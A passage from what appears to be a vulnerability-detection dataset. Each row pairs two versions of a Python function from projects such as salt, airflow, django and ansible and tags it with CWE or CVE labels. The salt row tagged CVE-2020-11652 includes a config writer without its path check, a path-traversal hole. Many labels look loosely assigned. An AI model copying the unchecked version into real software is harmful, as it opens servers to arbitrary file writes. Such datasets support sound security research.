            elif len(argv[i]) > 1 and all(ord(_) in xrange(0x2018, 0x2020) for _ in ((argv[i].split('=', 1)[-1].strip() or ' ')[0], argv[i][-1])):
                dataToStdout(""[!] copy-pasting illegal (non-console) quote characters from Internet is illegal (%s)\n"" % argv[i])
                raise SystemExit
            elif len(argv[i]) > 1 and u""\uff0c"" in argv[i].split('=', 1)[-1]:
                dataToStdout(""[!] copy-pasting illegal (non-console) comma characters from Internet is illegal (%s)\n"" % argv[i])
                raise SystemExit
            elif re.search(r""\A-\w=.+"", argv[i]):
                dataToStdout(""[!] potentially miswritten (illegal '=') short option detected ('%s')\n"" % argv[i])
                raise SystemExit
            elif re.search(r""\A-\w{3,}"", argv[i]):
                if argv[i].strip('-').split('=')[0] in (longOptions | longSwitches):
                    argv[i] = ""-%s"" % argv[i]
            elif argv[i] in IGNORED_OPTIONS:
                argv[i] = """"
            elif argv[i] in DEPRECATED_OPTIONS:
                argv[i] = """"
            elif argv[i].startswith(""--data-raw""):
                argv[i] = argv[i].replace(""--data-raw"", ""--data"", 1)
            elif argv[i].startswith(""--drop-cookie""):
                argv[i] = argv[i].replace(""--drop-cookie"", ""--drop-set-cookie"", 1)
            elif any(argv[i].startswith(_) for _ in (""--tamper"", ""--ignore-code"", ""--skip"")):
                key = re.search(r""\-?\-(\w+)\b"", argv[i]).group(1)
                index = auxIndexes.get(key, None)
                if index is None:
                    index = i if '=' in argv[i] else (i + 1 if i + 1 < len(argv) and not argv[i + 1].startswith('-') else None)
                    auxIndexes[key] = index
                else:
                    delimiter = ','
                    argv[index] = ""%s%s%s"" % (argv[index], delimiter, argv[i].split('=')[1] if '=' in argv[i] else (argv[i + 1] if i + 1 < len(argv) and not argv[i + 1].startswith('-') else """"))
                    argv[i] = """"
            elif argv[i] in (""-H"", ""--header"") or any(argv[i].startswith(""%s="" % _) for _ in (""-H"", ""--header"")):
                if '=' in argv[i]:
                    extraHeaders.append(argv[i].split('=', 1)[1])
                elif i + 1 < len(argv):
                    extraHeaders.append(argv[i + 1])
            elif argv[i] == ""--deps"":
                argv[i] = ""--dependencies""
            elif argv[i] == ""--disable-colouring"":
                argv[i] = ""--disable-coloring""
            elif argv[i] == ""-r"":
                for j in xrange(i + 2, len(argv)):
                    value = argv[j]
                    if os.path.isfile(value):
                        argv[i + 1] += "",%s"" % value
                        argv[j] = ''
                    else:
                        break
            elif re.match(r""\A\d+!\Z"", argv[i]) and argv[max(0, i - 1)] == ""--threads"" or re.match(r""\A--threads.+\d+!\Z"", argv[i]):
                argv[i] = argv[i][:-1]
                conf.skipThreadCheck = True
            elif argv[i] == ""--version"":
                print(VERSION_STRING.split('/')[-1])
                raise SystemExit
            elif argv[i] in (""-h"", ""--help""):
                advancedHelp = False
                for group in get_groups(parser)[:]:
                    found = False
                    for option in get_actions(group):
                        if option.dest not in BASIC_HELP_ITEMS:
                            option.help = SUPPRESS
                        else:
                            found = True
                    if not found:
                        get_groups(parser).remove(group)
            elif '=' in argv[i] and not argv[i].startswith('-') and argv[i].split('=')[0] in longOptions and re.search(r""\A-{1,2}\w"", argv[i - 1]) is None:
                dataToStdout(""[!] detected usage of long-option without a starting hyphen ('%s')\n"" % argv[i])
                raise SystemExit

        for verbosity in (_ for _ in argv if re.search(r""\A\-v+\Z"", _)):
            try:
                if argv.index(verbosity) == len(argv) - 1 or not argv[argv.index(verbosity) + 1].isdigit():
                    conf.verbose = verbosity.count('v')
                    del argv[argv.index(verbosity)]
            except (IndexError, ValueError):
                pass

        try:
            (args, _) = parser.parse_known_args(argv) if hasattr(parser, ""parse_known_args"") else parser.parse_args(argv)
        except UnicodeEncodeError as ex:
            dataToStdout(""\n[!] %s\n"" % getUnicode(ex.object.encode(""unicode-escape"")))
            raise SystemExit
        except SystemExit:
            if ""-h"" in argv and not advancedHelp:
                dataToStdout(""\n[!] to see full list of options run with '-hh'\n"")
            raise

        if extraHeaders:
            if not args.headers:
                args.headers = """"
            delimiter = ""\\n"" if ""\\n"" in args.headers else ""\n""
            args.headers += delimiter + delimiter.join(extraHeaders)

        # Expand given mnemonic options (e.g. -z ""ign,flu,bat"")
        for i in xrange(len(argv) - 1):
            if argv[i] == ""-z"":
                expandMnemonics(argv[i + 1], parser, args)

        if args.dummy:
            args.url = args.url or DUMMY_URL

        if hasattr(sys.stdin, ""fileno"") and not os.isatty(sys.stdin.fileno()) and '-' not in sys.argv:
            args.stdinPipe = iter(sys.stdin.readline, None)
        else:
            args.stdinPipe = None

        if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.vulnTest, args.fuzzTest, args.wizard, args.dependencies, args.purge, args.listTampers, args.hashFile, args.stdinPipe)):
            errMsg = ""missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, --wizard, --shell, --update, --purge, --list-tampers or --dependencies). ""
            errMsg += ""Use -h for basic and -hh for advanced help\n""
            parser.error(errMsg)

        return args

    except (ArgumentError, TypeError) as ex:
        parser.error(ex)

    except SystemExit:
        # Protection against Windows dummy double clicking
        if IS_WIN and ""--non-interactive"" not in sys.argv:
            dataToStdout(""\nPress Enter to continue..."")
            _input()
        raise

    debugMsg = ""parsing command line""
    logger.debug(debugMsg)"
,UNKNOWN,UNKNOWN,tests/pytests/unit/states/virt/test_domain.py,1,"def test_defined_no_change(test):
    """"""
    defined state test, no change required case.
    """"""
    with patch.dict(virt.__opts__, {""test"": test}):
        init_mock = MagicMock(return_value=True)
        update_mock = MagicMock(return_value={""definition"": False})
        with patch.dict(
            virt.__salt__,
            {
                ""virt.list_domains"": MagicMock(return_value=[""myvm""]),
                ""virt.update"": update_mock,
                ""virt.init"": init_mock,
            },
        ):
            assert virt.defined(""myvm"") == {
                ""name"": ""myvm"",
                ""changes"": {},
                ""result"": True,
                ""comment"": ""Domain myvm unchanged"",
            }
            init_mock.assert_not_called()
            assert update_mock.call_args_list == [domain_update_call(""myvm"", test=test)]",CWE-703,saltstack/salt,af682e8fab559b87a43c5ee187e509cc22402bc2,"def test_defined_no_change(test):
    """"""
    defined state test, no change required case.
    """"""
    with patch.dict(virt.__opts__, {""test"": test}):
        init_mock = MagicMock(return_value=True)
        update_mock = MagicMock(return_value={""definition"": False})
        with patch.dict(
            virt.__salt__,
            {
                ""virt.list_domains"": MagicMock(return_value=[""myvm""]),
                ""virt.update"": update_mock,
                ""virt.init"": init_mock,
            },
        ):
            assert virt.defined(""myvm"") == {
                ""name"": ""myvm"",
                ""changes"": {""myvm"": {""definition"": False}},
                ""result"": True,
                ""comment"": ""Domain myvm unchanged"",
            }
            init_mock.assert_not_called()
            assert update_mock.call_args_list == [domain_update_call(""myvm"", test=test)]"
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/plugins/linux/arp.py,0,"def calculate(self):
        linux_common.set_plugin_members(self)

        neigh_tables_addr = self.addr_space.profile.get_symbol(""neigh_tables"")

        hasnext = True
        try:
            self.addr_space.profile.get_obj_offset(""neigh_table"", ""next"")
        except KeyError:
            hasnext = False

        if hasnext == True:
            ntables_ptr = obj.Object(""Pointer"", offset = neigh_tables_addr, vm = self.addr_space)
            tables = linux_common.walk_internal_list(""neigh_table"", ""next"", ntables_ptr)
        else:
            tables_arr = obj.Object(theType=""Array"", targetType=""Pointer"", offset = neigh_tables_addr, vm = self.addr_space, count = 4)
            tables = [t.dereference_as(""neigh_table"") for t in tables_arr]

        for ntable in tables:
            for aent in self.handle_table(ntable):
                yield aent",,volatilityfoundation/volatility,dd1a851b6e42b8cdb6a5f5126310df399f63ac6b,"def calculate(self):
        linux_common.set_plugin_members(self)

        neigh_tables_addr = self.addr_space.profile.get_symbol(""neigh_tables"")

        if hasattr(""neigh_table"", ""next""):
            ntables_ptr = obj.Object(""Pointer"", offset = neigh_tables_addr, vm = self.addr_space)
            tables = linux_common.walk_internal_list(""neigh_table"", ""next"", ntables_ptr)
        else:
            tables_arr = obj.Object(theType=""Array"", targetType=""Pointer"", offset = neigh_tables_addr, vm = self.addr_space, count = 4)
            tables = [t.dereference_as(""neigh_table"") for t in tables_arr]

        for ntable in tables:
            for aent in self.handle_table(ntable):
                yield aent"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/test/runner.py,0,"def setup_databases(verbosity, interactive, keepdb=False, debug_sql=False, **kwargs):
    """"""
    Creates the test databases.
    """"""
    test_databases, mirrored_aliases = get_unique_databases_and_mirrors()

    old_names = []
    mirrors = []

    for signature, (db_name, aliases) in test_databases.items():
        first_alias = None
        # Actually create the database for the first connection
        for alias in aliases:
            connection = connections[alias]
            old_names.append((connection, db_name, first_alias is None))

            if first_alias is None:
                first_alias = alias
                connection.creation.create_test_db(
                    verbosity,
                    autoclobber=not interactive,
                    keepdb=keepdb,
                    serialize=connection.settings_dict.get(""TEST"", {}).get(""SERIALIZE"", True),
                )
            else:
                connections[alias].creation.set_as_test_mirror(
                    connections[first_alias].settings_dict)

    for alias, mirror_alias in mirrored_aliases.items():
        mirrors.append((alias, connections[alias].settings_dict['NAME']))
        connections[alias].creation.set_as_test_mirror(
            connections[mirror_alias].settings_dict)

    if debug_sql:
        for alias in connections:
            connections[alias].force_debug_cursor = True

    return old_names, mirrors",CWE-Unknown,django/django,79c3f226dd6e6a4dd27173d08b024bf756ea6e39,"def setup_databases(verbosity, interactive, keepdb=False, debug_sql=False, **kwargs):
    """"""
    Creates the test databases.
    """"""
    test_databases, mirrored_aliases = get_unique_databases_and_mirrors()

    old_names = []
    mirrors = []

    for signature, (db_name, aliases) in test_databases.items():
        test_db_name = None
        # Actually create the database for the first connection
        for alias in aliases:
            connection = connections[alias]
            if test_db_name is None:
                test_db_name = connection.creation.create_test_db(
                    verbosity,
                    autoclobber=not interactive,
                    keepdb=keepdb,
                    serialize=connection.settings_dict.get(""TEST"", {}).get(""SERIALIZE"", True),
                )
                destroy = True
            else:
                connection.settings_dict['NAME'] = test_db_name
                destroy = False
            old_names.append((connection, db_name, destroy))

    for alias, mirror_alias in mirrored_aliases.items():
        mirrors.append((alias, connections[alias].settings_dict['NAME']))
        connections[alias].creation.set_as_test_mirror(
            connections[mirror_alias].settings_dict)

    if debug_sql:
        for alias in connections:
            connections[alias].force_debug_cursor = True

    return old_names, mirrors"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/modules/cloud/amazon/efs.py,0,"def iterate_all(attr, map_method, **kwargs):
    """"""
     Method creates iterator from boto result set
    """"""
    args = dict((key, value) for (key, value) in kwargs.items() if value is not None)
    wait = 1
    while True:
        try:
            data = map_method(**args)
            for elm in data[attr]:
                yield elm
            if 'NextMarker' in data:
                args['Marker'] = data['Nextmarker']
                continue
            break
        except ClientError as e:
            if e.response['Error']['Code'] == ""ThrottlingException"" and wait < 600:
                sleep(wait)
                wait = wait * 2
                continue
            else:
                raise",,ansible/ansible,95c1b07bdb8759019ddddf5f769e6220c733ab22,"def iterate_all(attr, map_method, **kwargs):
    """"""
     Method creates iterator from boto result set
    """"""
    args = dict((key, value) for (key, value) in kwargs.items() if value is not None)
    wait = 1
    while True:
        try:
            data = map_method(**args)
            for elm in data[attr]:
                yield elm
            if 'NextMarker' in data:
                args['Marker'] = data['Nextmarker']
                continue
            break
        except ClientError as e:
            if e.response['Error']['Code'] == ""ThrottlingException"" and wait < 600:
                sleep(wait)
                wait = wait * 2
                continue"
functions_for_requests_with_cwe.csv,UNKNOWN,UNKNOWN,requests/utils.py,0,"def get_encoding_from_headers(headers):
    """"""Returns encodings from given HTTP Header Dict.

    :param headers: dictionary to extract encoding from.
    :rtype: str
    """"""

    content_type = headers.get('content-type')

    if not content_type:
        return None

    content_type, params = _parse_content_type_header(content_type)

    if 'charset' in params:
        return params['charset'].strip(""'\"""")

    if 'text' in content_type:
        return 'ISO-8859-1'

    if 'application/json' in content_type:
        # Assume UTF-8 based on RFC 4627: https://www.ietf.org/rfc/rfc4627.txt since the charset was unset
        return 'utf-8'",,psf/requests,5855dd711f0ab9c9c4782574b8814b1e4c7f98cc,"def get_encoding_from_headers(headers):
    """"""Returns encodings from given HTTP Header Dict.

    :param headers: dictionary to extract encoding from.
    :rtype: str
    """"""

    content_type = headers.get('content-type')

    if not content_type:
        return None

    content_type, params = _parse_content_type_header(content_type)

    if 'charset' in params:
        return params['charset'].strip(""'\"""")

    if 'text' in content_type:
        return 'ISO-8859-1'"
,UNKNOWN,UNKNOWN,tests/utils_tests/test_timezone.py,1,"def test_pickling_unpickling(self):
        self.assertIsInstance(pickle.loads(pickle.dumps(timezone.UTC())), timezone.UTC)
        self.assertIsInstance(pickle.loads(pickle.dumps(timezone.LocalTimezone())), timezone.LocalTimezone)",CWE-502,django/django,6f8301d6cd3815409c7c2c8468dbfd239d39f468,"def test_pickling_unpickling(self):
        self.assertIsInstance(pickle.loads(pickle.dumps(timezone.UTC())), timezone.UTC)
        self.assertIsInstance(pickle.loads(pickle.dumps(timezone.LocalTimezone())), timezone.LocalTimezone)"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,IPython/html/widgets/widget.py,0,"def on_displayed(self, callback, remove=False):
        """"""Register a callback to be called when the widget has been displayed

        Parameters
        ----------
        callback: method handler
            Can have a signature of:
            - callback()
            - callback(sender)
            - callback(sender, view_name)
        remove: bool
            True if the callback should be unregistered.""""""
        if remove:
            self._display_callbacks.remove(callback)
        elif not callback in self._display_callbacks:
            self._display_callbacks.append(callback)",,jupyter/notebook,a67f2ec472af4d77993050b8fa7df86e1121512f,"def on_displayed(self, callback, remove=False):
        """"""Register a callback to be called when the widget has been displayed

        callback: method handler
            Can have a signature of:
            - callback()
            - callback(sender)
            - callback(sender, view_name)
        remove: bool
            True if the callback should be unregistered.""""""
        if remove:
            self._display_callbacks.remove(callback)
        elif not callback in self._display_callbacks:
            self._display_callbacks.append(callback)"
,UNKNOWN,UNKNOWN,helm_tests/security/test_result_backend_connection_secret.py,1,"def test_should_not_generate_a_document_if_using_existing_secret(self):
        docs = render_chart(
            values={""data"": {""resultBackendSecretName"": ""foo""}},
            show_only=[""templates/secrets/result-backend-connection-secret.yaml""],
        )

        assert len(docs) == 0",CWE-703,apache/airflow,03349014513114f1eaa413a9831b0027e4fbfa67,"def test_should_not_generate_a_document_if_using_existing_secret(self):
        docs = render_chart(
            values={""data"": {""resultBackendSecretName"": ""foo""}},
            show_only=[""templates/secrets/result-backend-connection-secret.yaml""],
        )

        assert 0 == len(docs)"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/cli/doc.py,0,"def _list_plugins(self, plugin_type, loader):

        results = {}
        coll_filter = None
        if len(context.CLIARGS['args']) == 1:
            coll_filter = context.CLIARGS['args'][0]

        if coll_filter in ('ansible.builtin', 'ansible.legacy', '', None):
            paths = loader._get_paths_with_context()
            for path_context in paths:
                self.plugin_list.update(DocCLI.find_plugins(path_context.path, path_context.internal, plugin_type))

        add_collection_plugins(self.plugin_list, plugin_type, coll_filter=coll_filter)

        # get appropriate content depending on option
        if context.CLIARGS['list_dir']:
            results = self._get_plugin_list_descriptions(loader)
        elif context.CLIARGS['list_files']:
            results = self._get_plugin_list_filenames(loader)
        # dump plugin desc/data as JSON
        elif context.CLIARGS['dump']:
            plugin_names = DocCLI.get_all_plugins_of_type(plugin_type)
            for plugin_name in plugin_names:
                plugin_info = DocCLI.get_plugin_metadata(plugin_type, plugin_name)
                if plugin_info is not None:
                    results[plugin_name] = plugin_info

        return results",,ansible/ansible,1b34933414551dde61572f43d23602505b090f42,"def _list_plugins(self, plugin_type, loader):

        results = {}
        coll_filter = None
        if len(context.CLIARGS['args']) == 1:
            coll_filter = context.CLIARGS['args'][0]

        if coll_filter in ('', None):
            paths = loader._get_paths_with_context()
            for path_context in paths:
                self.plugin_list.update(DocCLI.find_plugins(path_context.path, path_context.internal, plugin_type))

        add_collection_plugins(self.plugin_list, plugin_type, coll_filter=coll_filter)

        # get appropriate content depending on option
        if context.CLIARGS['list_dir']:
            results = self._get_plugin_list_descriptions(loader)
        elif context.CLIARGS['list_files']:
            results = self._get_plugin_list_filenames(loader)
        # dump plugin desc/data as JSON
        elif context.CLIARGS['dump']:
            plugin_names = DocCLI.get_all_plugins_of_type(plugin_type)
            for plugin_name in plugin_names:
                plugin_info = DocCLI.get_plugin_metadata(plugin_type, plugin_name)
                if plugin_info is not None:
                    results[plugin_name] = plugin_info

        return results"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,core/ui/gtkUi/confpanel.py,0,"def __init__(self, parentwidg, w3af, plugin, save_btn, rvrt_btn, overwriter={}):
        super(OnlyOptions,self).__init__()
        self.set_spacing(5)
        self.w3af = w3af
        self.parentwidg = parentwidg
        self.widgets_status = {}
        self.tab_widget = {}
        self.propagAnyWidgetChanged = helpers.PropagateBuffer(self._changedAnyWidget)
        self.propagLabels = {}

        # options
        self.options = optionList()
        options = plugin.getOptions()
        # let's use the info from the core
        coreopts = self.w3af.getPluginOptions(plugin.ptype, plugin.pname)
        if coreopts is None:
            coreopts = {}

        # let's get the real info
        for opt in options:
            if opt.getName() in coreopts:
                opt.setValue( coreopts[opt.getName()].getValue() )
            if opt.getName() in overwriter:
                opt.setValue( overwriter[opt.getName()].getValue() )
            self.options.append(opt)

        # buttons
        save_btn.connect(""clicked"", self._savePanel, plugin)
        save_btn.set_sensitive(False)
        rvrt_btn.set_sensitive(False)
        rvrt_btn.connect(""clicked"", self._revertPanel)
        self.save_btn = save_btn
        self.rvrt_btn = rvrt_btn
        
        # middle (the heart of the panel)
        if self.options:
            tabbox = gtk.HBox()
            heart = self._createNotebook()
            tabbox.pack_start(heart, expand=True)
            tabbox.show()
            self.pack_start(tabbox, expand=True, fill=False)
        self.show()",,andresriancho/w3af,da8a3dfe7b95a7dc76c7c83397a0d040032589d7,"def __init__(self, parentwidg, w3af, plugin, save_btn, rvrt_btn, overwriter={}):
        super(OnlyOptions,self).__init__()
        self.set_spacing(5)
        self.w3af = w3af
        self.parentwidg = parentwidg
        self.widgets_status = {}
        self.tab_widget = {}
        self.propagAnyWidgetChanged = helpers.PropagateBuffer(self._changedAnyWidget)
        self.propagLabels = {}

        # options
        self.options = optionList()
        options = plugin.getOptions()
        # let's use the info from the core
        coreopts = self.w3af.getPluginOptions(plugin.ptype, plugin.pname)
        if coreopts is None:
            coreopts = {}

        # let's get the real info
        for opt in options:
            if opt.getName() in coreopts:
                opt.setValue( coreopts[opt.getName()] )
            if opt.getName() in overwriter:
                opt.setValue( overwriter[opt.getName()] )
            self.options.append(opt)

        # buttons
        save_btn.connect(""clicked"", self._savePanel, plugin)
        save_btn.set_sensitive(False)
        rvrt_btn.set_sensitive(False)
        rvrt_btn.connect(""clicked"", self._revertPanel)
        self.save_btn = save_btn
        self.rvrt_btn = rvrt_btn
        
        # middle (the heart of the panel)
        if self.options:
            tabbox = gtk.HBox()
            heart = self._createNotebook()
            tabbox.pack_start(heart, expand=True)
            tabbox.show()
            self.pack_start(tabbox, expand=True, fill=False)
        self.show()"
,CVE-2020-11652,UNKNOWN,salt/wheel/config.py,1,"def update_config(file_name, yaml_contents):
    """"""
    Update master config with
    ``yaml_contents``.

    Writes ``yaml_contents`` to a file named
    ``file_name.conf`` under the folder
    specified by ``default_include``.
    This folder is named ``master.d`` by
    default. Please look at
    :conf_master:`include-configuration`
    for more information.

    Example low data:

    .. code-block:: python

        data = {
            'username': 'salt',
            'password': 'salt',
            'fun': 'config.update_config',
            'file_name': 'gui',
            'yaml_contents': {'id': 1},
            'client': 'wheel',
            'eauth': 'pam',
        }
    """"""
    file_name = ""{0}{1}"".format(file_name, "".conf"")
    dir_path = os.path.join(
        __opts__[""config_dir""], os.path.dirname(__opts__[""default_include""])
    )
    try:
        yaml_out = salt.utils.yaml.safe_dump(yaml_contents, default_flow_style=False,)

        if not os.path.exists(dir_path):
            log.debug(""Creating directory %s"", dir_path)
            os.makedirs(dir_path, 0o755)

        file_path = os.path.join(dir_path, file_name)
        if not salt.utils.verify.clean_path(dir_path, file_path):
            return ""Invalid path""

        with salt.utils.files.fopen(file_path, ""w"") as fp_:
            fp_.write(yaml_out)

        return ""Wrote {0}"".format(file_name)
    except (IOError, OSError, salt.utils.yaml.YAMLError, ValueError) as err:
        return six.text_type(err)",CWE-259,saltstack/salt,d5801df94b05158dc8e48c5e6912b065044720f3,"def update_config(file_name, yaml_contents):
    """"""
    Update master config with
    ``yaml_contents``.

    Writes ``yaml_contents`` to a file named
    ``file_name.conf`` under the folder
    specified by ``default_include``.
    This folder is named ``master.d`` by
    default. Please look at
    :conf_master:`include-configuration`
    for more information.

    Example low data:

    .. code-block:: python

        data = {
            'username': 'salt',
            'password': 'salt',
            'fun': 'config.update_config',
            'file_name': 'gui',
            'yaml_contents': {'id': 1},
            'client': 'wheel',
            'eauth': 'pam',
        }
    """"""
    file_name = ""{0}{1}"".format(file_name, "".conf"")
    dir_path = os.path.join(
        __opts__[""config_dir""], os.path.dirname(__opts__[""default_include""])
    )
    try:
        yaml_out = salt.utils.yaml.safe_dump(yaml_contents, default_flow_style=False)

        if not os.path.exists(dir_path):
            log.debug(""Creating directory %s"", dir_path)
            os.makedirs(dir_path, 0o755)

        file_path = os.path.join(dir_path, file_name)
        with salt.utils.files.fopen(file_path, ""w"") as fp_:
            fp_.write(yaml_out)

        return ""Wrote {0}"".format(file_name)
    except (IOError, OSError, salt.utils.yaml.YAMLError, ValueError) as err:
        return six.text_type(err)"
,UNKNOWN,UNKNOWN,tests/jobs/test_scheduler_job.py,1,"def test_retry_on_db_error_when_update_timeout_triggers(self, dag_maker, session):
        """"""
        Tests that it will retry on DB error like deadlock when updating timeout triggers.
        """"""
        from sqlalchemy.exc import OperationalError

        retry_times = 3

        # Create the test DAG and task
        with dag_maker(
            dag_id=""test_retry_on_db_error_when_update_timeout_triggers"",
            start_date=DEFAULT_DATE,
            schedule=""@once"",
            max_active_runs=1,
            session=session,
        ) as dag:
            EmptyOperator(task_id=""dummy1"")

        # Mock the db failure within retry times
        might_fail_session = MagicMock(wraps=session)

        def check_if_trigger_timeout(max_retries: int):
            def make_side_effect():
                call_count = 0

                def side_effect(*args, **kwargs):
                    nonlocal call_count
                    if call_count < retry_times - 1:
                        call_count += 1
                        raise OperationalError(""any_statement"", ""any_params"", ""any_orig"")
                    else:
                        return session.execute(*args, **kwargs)

                return side_effect

            might_fail_session.execute.side_effect = make_side_effect()

            try:
                # Create a Task Instance for the task that is allegedly deferred
                # but past its timeout, and one that is still good.
                # We don't actually need a linked trigger here; the code doesn't check.
                dag.sync_to_db()
                SerializedDagModel.write_dag(dag=dag, bundle_name=""testing"")
                session.flush()
                dr1 = dag_maker.create_dagrun()
                dr2 = dag_maker.create_dagrun(
                    run_id=""test2"", logical_date=DEFAULT_DATE + datetime.timedelta(seconds=1)
                )
                ti1 = dr1.get_task_instance(""dummy1"", session)
                ti2 = dr2.get_task_instance(""dummy1"", session)
                ti1.state = State.DEFERRED
                ti1.trigger_timeout = timezone.utcnow() - datetime.timedelta(seconds=60)
                ti2.state = State.DEFERRED
                ti2.trigger_timeout = timezone.utcnow() + datetime.timedelta(seconds=60)
                session.flush()

                # Boot up the scheduler and make it check timeouts
                scheduler_job = Job()
                self.job_runner = SchedulerJobRunner(job=scheduler_job)

                self.job_runner.check_trigger_timeouts(max_retries=max_retries, session=might_fail_session)

                # Make sure that TI1 is now scheduled to fail, and 2 wasn't touched
                session.refresh(ti1)
                session.refresh(ti2)
                assert ti1.state == State.SCHEDULED
                assert ti1.next_method == ""__fail__""
                assert ti2.state == State.DEFERRED
            finally:
                self.clean_db()

        # Positive case, will retry until success before reach max retry times
        check_if_trigger_timeout(retry_times)

        # Negative case: no retries, execute only once.
        with pytest.raises(OperationalError):
            check_if_trigger_timeout(1)",CWE-703,apache/airflow,d1a44f0d5825d12e486727dfe0bab9c977c97a31,"def test_retry_on_db_error_when_update_timeout_triggers(self, dag_maker, session):
        """"""
        Tests that it will retry on DB error like deadlock when updating timeout triggers.
        """"""
        from sqlalchemy.exc import OperationalError

        retry_times = 3

        # Create the test DAG and task
        with dag_maker(
            dag_id=""test_retry_on_db_error_when_update_timeout_triggers"",
            start_date=DEFAULT_DATE,
            schedule=""@once"",
            max_active_runs=1,
            session=session,
        ) as dag:
            EmptyOperator(task_id=""dummy1"")

        # Mock the db failure within retry times
        might_fail_session = MagicMock(wraps=session)

        def check_if_trigger_timeout(max_retries: int):
            def make_side_effect():
                call_count = 0

                def side_effect(*args, **kwargs):
                    nonlocal call_count
                    if call_count < retry_times - 1:
                        call_count += 1
                        raise OperationalError(""any_statement"", ""any_params"", ""any_orig"")
                    else:
                        return session.execute(*args, **kwargs)

                return side_effect

            might_fail_session.execute.side_effect = make_side_effect()

            try:
                # Create a Task Instance for the task that is allegedly deferred
                # but past its timeout, and one that is still good.
                # We don't actually need a linked trigger here; the code doesn't check.
                dag.sync_to_db()
                SerializedDagModel.write_dag(dag=dag, bundle_name=""testing"")
                session.flush()
                dr1 = dag_maker.create_dagrun()
                dr2 = dag_maker.create_dagrun(
                    run_id=""test2"", logical_date=DEFAULT_DATE + datetime.timedelta(seconds=1)
                )
                ti1 = dr1.get_task_instance(""dummy1"", session)
                ti2 = dr2.get_task_instance(""dummy1"", session)
                ti1.state = State.DEFERRED
                ti1.trigger_timeout = timezone.utcnow() - datetime.timedelta(seconds=60)
                ti2.state = State.DEFERRED
                ti2.trigger_timeout = timezone.utcnow() + datetime.timedelta(seconds=60)
                session.flush()

                # Boot up the scheduler and make it check timeouts
                scheduler_job = Job()
                self.job_runner = SchedulerJobRunner(job=scheduler_job)

                self.job_runner.check_trigger_timeouts(max_retries=max_retries, session=might_fail_session)

                # Make sure that TI1 is now scheduled to fail, and 2 wasn't touched
                session.refresh(ti1)
                session.refresh(ti2)
                assert ti1.state == State.SCHEDULED
                assert ti1.next_method == ""__fail__""
                assert ti2.state == State.DEFERRED
            finally:
                self.clean_db()

        # Positive case, will retry until success before reach max retry times
        check_if_trigger_timeout(retry_times)

        # Negative case: no retries, execute only once.
        with pytest.raises(OperationalError):
            check_if_trigger_timeout(1)"
functions_for_paramiko_with_cwe.csv,UNKNOWN,UNKNOWN,tests/test_pkey.py,0,"def test_load_rsa_password(self):
        key = RSAKey.from_private_key_file(
            _support(""test_rsa_password.key""), ""television""
        )
        self.assertEqual(""ssh-rsa"", key.get_name())
        exp_rsa = b(FINGER_RSA.split()[1].replace("":"", """"))
        my_rsa = hexlify(key.get_fingerprint())
        self.assertEqual(exp_rsa, my_rsa)
        self.assertEqual(PUB_RSA.split()[1], key.get_base64())
        self.assertEqual(1024, key.get_bits())",,paramiko/paramiko,9ece9fcc8d8e5d22de0a65fcc44374a53c31dfdb,"def test_load_rsa_password(self):
        key = RSAKey.from_private_key_file(
            _support(""test_rsa_password.key""), ""television""
        )
        self.assertEqual(""ssh-rsa"", key.get_name())
        exp_rsa = b(FINGER_RSA.split()[1].replace("":"", """"))
        my_rsa = hexlify(key.get_fingerprint())
        self.assertEqual(exp_rsa, my_rsa)
        self.assertEqual(PUB_RSA.split()[1], key.get_base64())
        self.assertEqual(1024, key.get_bits())"
,UNKNOWN,UNKNOWN,tests/decorators/test_python.py,1,"def test_infer_multiple_outputs_using_dict_typing(self, resolve, annotation):
        @task_decorator
        def identity_dict(x: int, y: int) -> resolve(annotation):
            return {""x"": x, ""y"": y}

        assert identity_dict(5, 5).operator.multiple_outputs is True

        # Check invoking ``@task_decorator.__call__()`` yields the correct inference.
        @task_decorator()
        def identity_dict_with_decorator_call(x: int, y: int) -> resolve(annotation):
            return {""x"": x, ""y"": y}

        assert identity_dict_with_decorator_call(5, 5).operator.multiple_outputs is True",CWE-703,apache/airflow,bf935545adbfeb24fe9449b21316c9c4024767bc,"def test_infer_multiple_outputs_using_dict_typing(self, resolve, annotation):
        @task_decorator
        def identity_dict(x: int, y: int) -> resolve(annotation):
            return {""x"": x, ""y"": y}

        assert identity_dict(5, 5).operator.multiple_outputs is True

        # Check invoking ``@task_decorator.__call__()`` yields the correct inference.
        @task_decorator()
        def identity_dict_with_decorator_call(x: int, y: int) -> resolve(annotation):
            return {""x"": x, ""y"": y}

        assert identity_dict_with_decorator_call(5, 5).operator.multiple_outputs is True"
,UNKNOWN,UNKNOWN,tests/providers/amazon/aws/transfers/test_dynamodb_to_s3.py,1,"def test_dynamodb_to_s3_success(self, mock_aws_dynamodb_hook, mock_s3_hook):
        responses = [
            {
                ""Items"": [{""a"": 1}, {""b"": 2}],
                ""LastEvaluatedKey"": ""123"",
            },
            {
                ""Items"": [{""c"": 3}],
            },
        ]
        table = MagicMock()
        table.return_value.scan.side_effect = responses
        mock_aws_dynamodb_hook.return_value.conn.Table = table

        s3_client = MagicMock()
        s3_client.return_value.upload_file = self.mock_upload_file
        mock_s3_hook.return_value.get_conn = s3_client

        dynamodb_to_s3_operator = DynamoDBToS3Operator(
            task_id=""dynamodb_to_s3"",
            dynamodb_table_name=""airflow_rocks"",
            s3_bucket_name=""airflow-bucket"",
            file_size=4000,
        )

        dynamodb_to_s3_operator.execute(context={})

        assert [{""a"": 1}, {""b"": 2}, {""c"": 3}] == self.output_queue",CWE-703,apache/airflow,0b3b6704cb12a3b8f22da79d80b3db85528418b7,"def test_dynamodb_to_s3_success(self, mock_aws_dynamodb_hook, mock_s3_hook):
        responses = [
            {
                ""Items"": [{""a"": 1}, {""b"": 2}],
                ""LastEvaluatedKey"": ""123"",
            },
            {
                ""Items"": [{""c"": 3}],
            },
        ]
        table = MagicMock()
        table.return_value.scan.side_effect = responses
        mock_aws_dynamodb_hook.return_value.get_conn.return_value.Table = table

        s3_client = MagicMock()
        s3_client.return_value.upload_file = self.mock_upload_file
        mock_s3_hook.return_value.get_conn = s3_client

